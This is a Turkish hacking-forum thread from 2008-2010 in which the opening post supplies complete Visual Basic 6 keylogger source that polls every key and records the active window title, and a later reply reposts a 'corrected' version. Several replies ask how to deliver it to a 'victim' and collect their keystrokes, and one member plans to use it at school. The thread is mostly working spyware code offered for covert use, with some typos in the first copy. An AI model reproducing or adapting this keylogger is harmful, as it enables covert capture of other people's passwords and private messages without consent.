• Yeni mesajlar

Menü

Giriş yap

---

Navigasyon

Uygulamayı yükle

Yükle

Daha fazla seçenek

Gündüz modu

Bize ulaşın

Kapat Menü

• Programlama
• Visual Basic

Çok eski bir web tarayıcısı kullanıyorsunuz. Bu veya diğer siteleri görüntülemekte sorunlar yaşayabilirsiniz..
Tarayıcınızı güncellemeli veya alternatif bir tarayıcı kullanmalısınız.

VB De Keylogger yapımı

• Konbuyu başlatan Redinq*
• Başlangıç tarihi 28 Tem 2008

R

Redinq*

Üye

21 Tem 2008

167

6

Kocaeli

• 28 Tem 2008

• #1

Bunun için vb yi açin daha sonra projenize bir text kutusu (Text1) birde timer (Timer1) koyun.ve daha sonrada Timer1 in interval degerini (1) yapin.Ondan sonrada asagidaki kodlari projenize zimbalayin Herkese basarilar

Kod:
Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer

Dim a(0 To 9) As String
Dim Baslik As String

Private Sub Text1_Change()

End Sub

Private Sub Timer1_Timer()
On Error Resume Next
Dim BasilanTus As String
Dim dongu As Byte

’If GetForegroundWindow <> HandleNoSu Then
’ HandleNoSu = GetForegroundWindow
If Baslik <> BasligiAl(GetForegroundWindow) Then
Baslik = BasligiAl(GetForegroundWindow)
’Else
Text1 = Text1 & " [" & Baslik & "] " & vbCrLf

End If
’End If

If GetAsyncKeyState(13) = -32767 Then
BasilanTus = vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState( = -32767 Then
Text1 = Left(Text1, Len(Text1) - 1)
GoTo tusuyaz
End If
If GetAsyncKeyState(32) = -32767 Then
BasilanTus = " "
GoTo tusuyaz
End If
If GetAsyncKeyState(186) = -32767 Then
If ShiftTusu = True Then BasilanTus = ":"
If ShiftTusu = False Then BasilanTus = ";"
GoTo tusuyaz
End If
If GetAsyncKeyState(187) = -32767 Then
If ShiftTusu = True Then BasilanTus = "+"
If ShiftTusu = False Then BasilanTus = "="
GoTo tusuyaz
End If
If GetAsyncKeyState(188) = -32767 Then
If ShiftTusu = True Then BasilanTus = "<"
If ShiftTusu = False Then BasilanTus = ","
GoTo tusuyaz
End If
If GetAsyncKeyState(189) = -32767 Then
If ShiftTusu = True Then BasilanTus = "_"
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(190) = -32767 Then
If ShiftTusu = True Then BasilanTus = ">"
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(191) = -32767 Then
If ShiftTusu = True Then BasilanTus = "?"
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(192) = -32767 Then
If ShiftTusu = True Then BasilanTus = "~"
If ShiftTusu = False Then BasilanTus = "`"
GoTo tusuyaz
End If
If GetAsyncKeyState(96) = -32767 Then
If ShiftTusu = False Then BasilanTus = "0"
GoTo tusuyaz
End If
If GetAsyncKeyState(97) = -32767 Then
If ShiftTusu = False Then BasilanTus = "1"
GoTo tusuyaz
End If
If GetAsyncKeyState(9 = -32767 Then
If ShiftTusu = False Then BasilanTus = "2"
GoTo tusuyaz
End If
If GetAsyncKeyState(99) = -32767 Then
If ShiftTusu = False Then BasilanTus = "3"
GoTo tusuyaz
End If
If GetAsyncKeyState(100) = -32767 Then
If ShiftTusu = False Then BasilanTus = "4"
GoTo tusuyaz
End If
If GetAsyncKeyState(101) = -32767 Then
If ShiftTusu = False Then BasilanTus = "5"
GoTo tusuyaz
End If
If GetAsyncKeyState(102) = -32767 Then
If ShiftTusu = False Then BasilanTus = "6"
GoTo tusuyaz
End If
If GetAsyncKeyState(103) = -32767 Then
If ShiftTusu = False Then BasilanTus = "7"
GoTo tusuyaz
End If
If GetAsyncKeyState(104) = -32767 Then
If ShiftTusu = False Then BasilanTus = "8"
GoTo tusuyaz
End If
If GetAsyncKeyState(105) = -32767 Then
If ShiftTusu = False Then BasilanTus = "9"
GoTo tusuyaz
End If
If GetAsyncKeyState(106) = -32767 Then
If ShiftTusu = False Then BasilanTus = "*"
GoTo tusuyaz
End If
If GetAsyncKeyState(107) = -32767 Then
If ShiftTusu = False Then BasilanTus = "+"
GoTo tusuyaz
End If
If GetAsyncKeyState(108) = -32767 Then
If ShiftTusu = False Then BasilanTus = ""
Text1.Text = Text1.Text & vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(109) = -32767 Then
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(110) = -32767 Then
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(111) = -32767 Then
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(219) = -32767 Then
If ShiftTusu = True Then BasilanTus = "{"
If ShiftTusu = False Then BasilanTus = "["
GoTo tusuyaz
End If
If GetAsyncKeyState(220) = -32767 Then
If ShiftTusu = True Then BasilanTus = "|"
If ShiftTusu = False Then BasilanTus = ""
GoTo tusuyaz
End If
If GetAsyncKeyState(221) = -32767 Then
If ShiftTusu = True Then BasilanTus = "}"
If ShiftTusu = False Then BasilanTus = "]"
GoTo tusuyaz
End If
If GetAsyncKeyState(222) = -32767 Then
If ShiftTusu = True Then BasilanTus = Chr(34)
If ShiftTusu = False Then BasilanTus = "’"
GoTo tusuyaz
End If

dongu = 48
Do Until dongu = 91
If GetAsyncKeyState(dongu) = -32767 Then

If dongu >= 65 And dongu <= 90 Then
If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
GoTo tusuyaz
End If

If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
If ShiftTusu = True Then
BasilanTus = a(Val(Chr(dongu)))
GoTo tusuyaz
End If
End If
End If
dongu = dongu + 1
Loop

Exit Sub

tusuyaz:
Text1.Text = Text1.Text & BasilanTus
End Sub

Function BasligiAl(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
BasligiAl = hWndTitle
End Function


Public Sub tusuyaz()
Text1.Text = Text1 & BasilanTus
Text1.SelLength = Len(Text1)
End Sub

Public Function ShiftTusu() As Boolean
ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
End Function

Public Function CapsLockTusu() As Boolean
CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
End Function

 

H

H.c.K

Üye

24 Eyl 2007

82

1

cehennem

• 2 Ağu 2008

• #2

BU KODLARI VB.YE KOPYALAYIP YAPIŞTIRAMAZMIYIZ ?

 

R

Redinq*

Üye

21 Tem 2008

167

6

Kocaeli

• 2 Ağu 2008

• #3

Yaparsın fakat hata verebilir cunku eklencek nesneler var vs. ama yanı bunu yapmak icin iyibilmek lasım visual basic ki...

He bide Bu Visual Basic 6

 

R

rapslow32

Yeni üye

21 Tem 2009

30

0

• 11 Eki 2009

• #4

TEŞEKKÜRLER AMA HATALAR VAR ONLARI DÜZELTTİM AŞAĞIDA VERİOM TEKRAR


______________________________________________________________________

Bunun için vb yi açin daha sonra projenize bir text kutusu (Text1) birde timer (Timer1) koyun.ve daha sonrada Timer1 in interval degerini (1) yapin.Ondan sonrada asagidaki kodlari projenize zimbalayin Herkese basarilar

________________________

Private Declare Function GetForegroundWindow Lib "user32" () As Long
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vKey As Long) As Integer
Private Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long
Private Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long
Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Dim a(0 To 9) As String
Dim Baslik As String
Private Sub end_Click()
End
End Sub
Private Sub Form_Load()
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Dim BasilanTus As String
Dim dongu As Byte
If GetForegroundWindow <> HandleNoSu Then
HandleNoSu = GetForegroundWindow
If Baslik <> BasligiAl(GetForegroundWindow) Then
Baslik = BasligiAl(GetForegroundWindow)
Else
Text1 = Text1 & " [" & Baslik & "] " & vbCrLf
End If
End If
If GetAsyncKeyState(13) = -32767 Then
BasilanTus = vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(35) = -32767 Then
Text1 = Left(Text1, Len(Text1) - 1)
GoTo tusuyaz
End If
If GetAsyncKeyState(32) = -32767 Then
BasilanTus = " "
GoTo tusuyaz
End If
If GetAsyncKeyState(186) = -32767 Then
If ShiftTusu = True Then BasilanTus = ":"
If ShiftTusu = False Then BasilanTus = ";"
GoTo tusuyaz
End If
If GetAsyncKeyState(187) = -32767 Then
If ShiftTusu = True Then BasilanTus = "+"
If ShiftTusu = False Then BasilanTus = "="
GoTo tusuyaz
End If
If GetAsyncKeyState(188) = -32767 Then
If ShiftTusu = True Then BasilanTus = "<"
If ShiftTusu = False Then BasilanTus = ","
GoTo tusuyaz
End If
If GetAsyncKeyState(189) = -32767 Then
If ShiftTusu = True Then BasilanTus = "_"
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(190) = -32767 Then
If ShiftTusu = True Then BasilanTus = ">"
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(191) = -32767 Then
If ShiftTusu = True Then BasilanTus = "?"
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(192) = -32767 Then
If ShiftTusu = True Then BasilanTus = "~"
If ShiftTusu = False Then BasilanTus = "`"
GoTo tusuyaz
End If
If GetAsyncKeyState(96) = -32767 Then
If ShiftTusu = False Then BasilanTus = "0"
GoTo tusuyaz
End If
If GetAsyncKeyState(97) = -32767 Then
If ShiftTusu = False Then BasilanTus = "1"
GoTo tusuyaz
End If
If GetAsyncKeyState(9) = -32767 Then
If ShiftTusu = False Then BasilanTus = "2"
GoTo tusuyaz
End If
If GetAsyncKeyState(99) = -32767 Then
If ShiftTusu = False Then BasilanTus = "3"
GoTo tusuyaz
End If
If GetAsyncKeyState(100) = -32767 Then
If ShiftTusu = False Then BasilanTus = "4"
GoTo tusuyaz
End If
If GetAsyncKeyState(101) = -32767 Then
If ShiftTusu = False Then BasilanTus = "5"
GoTo tusuyaz
End If
If GetAsyncKeyState(102) = -32767 Then
If ShiftTusu = False Then BasilanTus = "6"
GoTo tusuyaz
End If
If GetAsyncKeyState(103) = -32767 Then
If ShiftTusu = False Then BasilanTus = "7"
GoTo tusuyaz
End If
If GetAsyncKeyState(104) = -32767 Then
If ShiftTusu = False Then BasilanTus = "8"
GoTo tusuyaz
End If
If GetAsyncKeyState(105) = -32767 Then
If ShiftTusu = False Then BasilanTus = "9"
GoTo tusuyaz
End If
If GetAsyncKeyState(106) = -32767 Then
If ShiftTusu = False Then BasilanTus = "*"
GoTo tusuyaz
End If
If GetAsyncKeyState(107) = -32767 Then
If ShiftTusu = False Then BasilanTus = "+"
GoTo tusuyaz
End If
If GetAsyncKeyState(108) = -32767 Then
If ShiftTusu = False Then BasilanTus = ""
Text1.Text = Text1.Text & vbCrLf
GoTo tusuyaz
End If
If GetAsyncKeyState(109) = -32767 Then
If ShiftTusu = False Then BasilanTus = "-"
GoTo tusuyaz
End If
If GetAsyncKeyState(110) = -32767 Then
If ShiftTusu = False Then BasilanTus = "."
GoTo tusuyaz
End If
If GetAsyncKeyState(111) = -32767 Then
If ShiftTusu = False Then BasilanTus = "/"
GoTo tusuyaz
End If
If GetAsyncKeyState(219) = -32767 Then
If ShiftTusu = True Then BasilanTus = "{"
If ShiftTusu = False Then BasilanTus = "["
GoTo tusuyaz
End If
If GetAsyncKeyState(220) = -32767 Then
If ShiftTusu = True Then BasilanTus = "|"
If ShiftTusu = False Then BasilanTus = ""
GoTo tusuyaz
End If
If GetAsyncKeyState(221) = -32767 Then
If ShiftTusu = True Then BasilanTus = "}"
If ShiftTusu = False Then BasilanTus = "]"
GoTo tusuyaz
End If
If GetAsyncKeyState(222) = -32767 Then
If ShiftTusu = True Then BasilanTus = Chr(34)
If ShiftTusu = False Then BasilanTus = "’"
GoTo tusuyaz
End If
dongu = 48
Do Until dongu = 91
If GetAsyncKeyState(dongu) = -32767 Then
If dongu >= 65 And dongu <= 90 Then
If CapsLockTusu = True And ShiftTusu = True Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = False Then BasilanTus = LCase(Chr(dongu))
If CapsLockTusu = True And ShiftTusu = False Then BasilanTus = UCase(Chr(dongu))
If CapsLockTusu = False And ShiftTusu = True Then BasilanTus = UCase(Chr(dongu))
GoTo tusuyaz
End If
If dongu >= 48 And dongu <= 57 And ShiftTusu = True Then
If ShiftTusu = True Then
BasilanTus = a(Val(Chr(dongu)))
GoTo tusuyaz
End If
End If
End If
dongu = dongu + 1
Loop
Exit Sub
tusuyaz:
Text1.Text = Text1.Text & BasilanTus
End Sub
Function BasligiAl(hwnd As Long)
Dim hWndTitle As String
hWndTitle = String(GetWindowTextLength(hwnd), 0)
GetWindowText hwnd, hWndTitle, (GetWindowTextLength(hwnd) + 1)
BasligiAl = hWndTitle
End Function

Public Sub tusuyaz()
Text1.Text = Text1 & BasilanTus
Text1.SelLength = Len(Text1)
End Sub
Public Function ShiftTusu() As Boolean
ShiftTusu = CBool(GetAsyncKeyState(vbKeyShift))
End Function
Public Function CapsLockTusu() As Boolean
CapsLockTusu = CBool(GetKeyState(vbKeyCapital) And 1)
End Function

 

G

gaometri

Yeni üye

30 Eki 2009

49

0

İstanbul

• 30 Eki 2009

• #5

yinede paylasım icin saol iyi olmus

:::TURKHACKTEAM:::

 

M

moretime

Yeni üye

6 Tem 2007

1

0

• 13 Kas 2009

• #6

bunu nasıl kurbana göndereceğiz ve gönderdiğimiz kişinin yazdığı şeyler nasıl bize ulaşacak? veya bu sadece kendi pc mizde kullanacağımız bir şeymi?

 

S

seytanin_amiri

Katılımcı Üye

31 Eki 2009

592

0

U.S.A

• 16 Kas 2009

• #7

saolsın kardeş...

 

A

asilower

Üye

1 Eyl 2009

75

0

cehennemın dıbı:)

• 18 Kas 2009

• #8

Bnde yapmayı dusunuyoRum kendıme öz€L

 

F

frt002

Kıdemli Üye

3 Eki 2009

2,470

0

turkhackteam

• 18 Kas 2009

• #9

ya kardeşim bunu yaptın diyelim karşıdaki adama nasıl yediricez

 

C

ch13tr

Yeni üye

22 Kas 2009

20

0

• 22 Kas 2009

• #10

aga ben okulda yapıcam km yemez DD

 

C

ch13tr

Yeni üye

22 Kas 2009

20

0

• 23 Kas 2009

• #11

nası zımbalacaz

 

C

ch13tr

Yeni üye

22 Kas 2009

20

0

• 23 Kas 2009

• #12

abi çalışmayı nasıl yapıcaz...anlatsanız

 

M

mustafa12994

Yeni üye

9 Nis 2008

42

0

• 23 Kas 2009

• #13

İşe yarıyor!!!!

 

Ѕ

_ѕι®__ кααη_

Yeni üye

4 Ara 2009

25

0

• 4 Ara 2009

• #14

teşekkürler

 

Y

yuaufqwe

Yeni üye

20 Ara 2009

23

0

bodrum

• 22 Ara 2009

• #15

bu kodları kopyalasak aynısını çalışırmı ki anlatım sırasında 'eğer, döngü' fln kullanmışsın.. Hata vermezmi ?

 

P

pHisLicq0FDaLqa

Katılımcı Üye

25 Kas 2009

358

0

[aRqe TeaM - VisuaL ßaSic]

• 23 Ara 2009

• #16

Kadeş kodları yapıştırdık ama logları nereye kaydediyor

 

K

kaanking

Yeni üye

22 Ara 2009

6

0

• 23 Ara 2009

• #17

Log lar bunu yazan adama gidiyor sizi keklemeye calısıo ipne düsmeyin bu tuzaga )

 

S

SonLorD

Üye

22 Ocak 2009

207

0

TümTürkiye

• 27 Ara 2009

• #18

eline saglık

 

General Darknes

Uzman üye

15 Ağu 2008

1,364

10

• 30 Ara 2009

• #19

çok hata var

 

D

DaRkLeRoN

Yeni üye

10 May 2009

7

0

ßℓσ¢k_¢!tЎ

• 6 Ocak 2010

• #20

eline saglık güzel olmus denemek lazım ama kopyala yapıstır yaparsak isin ayrıntısını kacırırız o yüzden manuel yazmak daha ii bence

 

Cevap yazmak için giriş yap yada kayıt ol.

Paylaş:

Facebook Twitter Telegram Reddit E-posta Paylaş Link

• Programlama
• Visual Basic

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.